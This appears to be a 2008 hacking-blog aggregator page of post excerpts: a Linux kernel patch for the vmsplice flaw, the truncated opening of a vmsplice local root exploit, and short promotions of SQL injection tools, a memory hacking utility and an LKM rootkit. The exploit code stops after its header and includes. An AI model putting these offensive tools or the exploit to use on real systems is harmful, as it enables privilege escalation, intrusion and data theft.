Save info   Get password
Home Submit your blog Edit Account Rules RSS-Archive Contact


vmsplice patch for linux kernel !!!
2008-02-10 20:04:33
— a/fs/splice.c +++ b/fs/splice.c @@ -1179,6 +1179,9 @@ static int copy_from_user_mmap_sem(void *dst, const void __user *src, size_t n) { int partial; + if (!access_ok(VERIFY_READ, src, n)) + return -EFAULT; + pagefault_disable(); partial = __copy_from_user_inatomic(dst, src, n); pagefault_enable(); @@ -1387,6 +1390,11 @@ static long vmsplice_to_user(struct file *file, const struct iovec __user *iov, break; } + if (unlikely(!access_ok(VERIFY_WRITE, base, len))) { + error = -EFAULT; + break; + } + sd.len = 0; sd.total_len = len; sd.flags = flags; Join the forum discussion
Read more: kernel

Linux 2.6.17 - 2.6.24.1 vmsplice local root exploit
2008-02-10 19:08:37
/* * jessica_biel_naked_in_my_bed.c * * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura. * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca. * Stejnak je to stare jak cyp a aj jakesyk rozbite. * * Linux vmsplice Local Root Exploit * By qaaz * * Linux 2.6.17 - 2.6.24.1 * * This is quite old code and I had to rewrite it to even compile. * It should work well, but I don’t remeber original intent of all * the code, so I’m not 100% sure about it. You’ve been warned * * -static -Wno-format */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #define __KERNEL__ #include #define PIPE_BUFFERS 16 #define PG_compound 14 #define uint unsigned int #define static_inline st
Read more: exploit

Identity theft got suxxorred VIII
2008-02-06 12:12:34
Join the forum discussion on this postShare This ARticle
Read more: theft , Identity theft

Identity theft got suxxorred VII
2008-02-06 12:11:57
Join the forum discussion on this postShare This ARticle
Read more: theft , Identity theft

Identity theft got suxxorred VI
2008-02-06 12:11:17
Join the forum discussion on this postShare This ARticle
Read more: theft , Identity theft

squeeza: making your injections count
2008-03-21 09:38:39
Can I get an introduction? Sure. squeeza was released as part of SensePost’s BlackHat USA 2007 talk on timing and related attacks What Does squeeza Do? squeeza is a tool that helps exploit SQL injection vulnerabilities in broken web applications. Its functionality is split into creating data on the database (by executing commands, copying in files, issuing new SQL queries) and extracting that data through various channels (dns, timing, http error messages) Currently, it supports the following databases: Microsoft SQL Server squeeza is *not* a tool for *finding* injection points. That recipe generally starts with 1 x analyst. License squeeza is distributed under the GNU General Public License. Download Link : -0.21.tar.gz Join the forum discussion on this postShare This ARticle
Read more: making , count

Memory Hacking Software MHS
2008-03-29 08:31:30
MHS is a utility for searching, viewing, and modifying the RAM of other processes, and for disassembling and debugging other processes. MHS sports the fastest and most efficient searches available, an advanced, colorful, and easy-to-use real-time Hex Editor, a Debugger with unique features, a Disassembler, and an extensive scripting language (L. Spiro Script) yielding unlimited potential. The array of tools offered in MHS can make hacking any game easy. Here is a compact list of tools and features: Searching Data-Type Searches Fastest searches available. Search for types char, byte, short, unsigned short, int, long, unsigned long, 64-bit integer, float, and double. Search for exact values, values not equal to, ranges, greater than, less than, and unknown. Group Searches Find unordere
Read more: Memory , Hacking , Software

SqlMap Sql Injection Tool
2008-05-07 05:39:49
Introduction sqlmap is an automatic SQL injection tool entirely developed in Python. It is capable to perform an extensive database management system back-end fingerprint, retrieve remote DBMS databases, usernames, tables, columns, enumerate entire DBMS, read system files and much more taking advantage of web application programming security flaws that lead to SQL injection vulnerabilities. Features Here is a list of major features implemented in sqlmap: Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server database management system back-end. Besides these four DBMS, sqlmap can also identify Microsoft Access, DB2, Informix and Sybase; Extensive database management system back-end fingerprint based upon: Inband DBMS error messages DBMS banner parsing DBMS functions output com
Read more: Injection

Linux LKM 2.6.x Rootkit
2008-05-08 05:07:41
Linux Lkm Rootkit for 2.6.x Kernels IntoXonia - LKM rootkit for Linux Kernel 2.6.x ============================================== 1. History ———- I have released first version of IntoXonia in 2005. There were different replies. Rootkit was incompatible with 64-bit architecture because algorythm of searching the system call table address didn’t work fine Also I’ve found a bug in getting full path to file. In this version I have fixed known bugs and added new features (look ChangeLog). Method of rootkit configuration IMHO changed in a best way. It is realised by fake binary file but all the options are cathegorized. Today, 05/28/2006 - is date of release of IntoXonia-ng LKM rootkit. 2. Possibilities —————- (*) hiding files &
Read more: Linux

Page 1 of 1 « < 1 > »
eXTReMe Tracker